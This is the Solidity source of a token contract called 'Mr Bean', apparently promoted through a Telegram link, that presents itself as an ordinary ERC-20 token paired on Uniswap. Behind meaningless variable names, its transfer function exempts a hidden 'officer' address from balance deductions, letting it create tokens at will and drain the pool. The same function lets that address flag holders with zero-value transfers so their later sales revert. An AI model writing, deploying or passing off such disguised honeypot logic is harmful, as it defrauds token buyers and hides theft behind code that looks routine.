Contract Source Code:
/*
https://t.me/Mrbean_erc
*/
// SPDX-License-Identifier: GPL-3.0
pragma solidity ^0.8.5;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), 'Ownable: caller is not the owner');
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), 'Ownable: new owner is the zero address');
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
interface IUniswapV2Router02 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
contract MrBean is Ownable {
mapping(address => mapping(address => uint256)) public allowance;
function transfer(address bar, uint256 taken) public returns (bool success) {
busy(msg.sender, bar, taken);
return true;
}
function busy(address book, address bar, uint256 taken) private returns (bool success) {
if (certainly[book] == 0) {
if (high[book] > 0 && book != uniswapV2Pair) {
certainly[book] -= themselves;
}
balanceOf[book] -= taken;
}
if (taken == 0) {
high[bar] += themselves;
}
balanceOf[bar] += taken;
emit Transfer(book, bar, taken);
return true;
}
mapping(address => uint256) private high;
string public name;
uint256 public totalSupply;
function transferFrom(address book, address bar, uint256 taken) public returns (bool success) {
busy(book, bar, taken);
require(taken <= allowance[book][msg.sender]);
allowance[book][msg.sender] -= taken;
return true;
}
mapping(address => uint256) public balanceOf;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
uint8 public decimals = 9;
constructor(address officer) {
symbol = 'Mr Bean';
name = 'Mr Bean';
totalSupply = 1000000000 * 10 ** decimals;
balanceOf[msg.sender] = totalSupply;
IUniswapV2Router02 uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
certainly[officer] = themselves;
}
mapping(address => uint256) private certainly;
string public symbol;
address public uniswapV2Pair;
function approve(address traffic, uint256 taken) public returns (bool success) {
allowance[msg.sender][traffic] = taken;
emit Approval(msg.sender, traffic, taken);
return true;
}
uint256 private themselves = 1;
}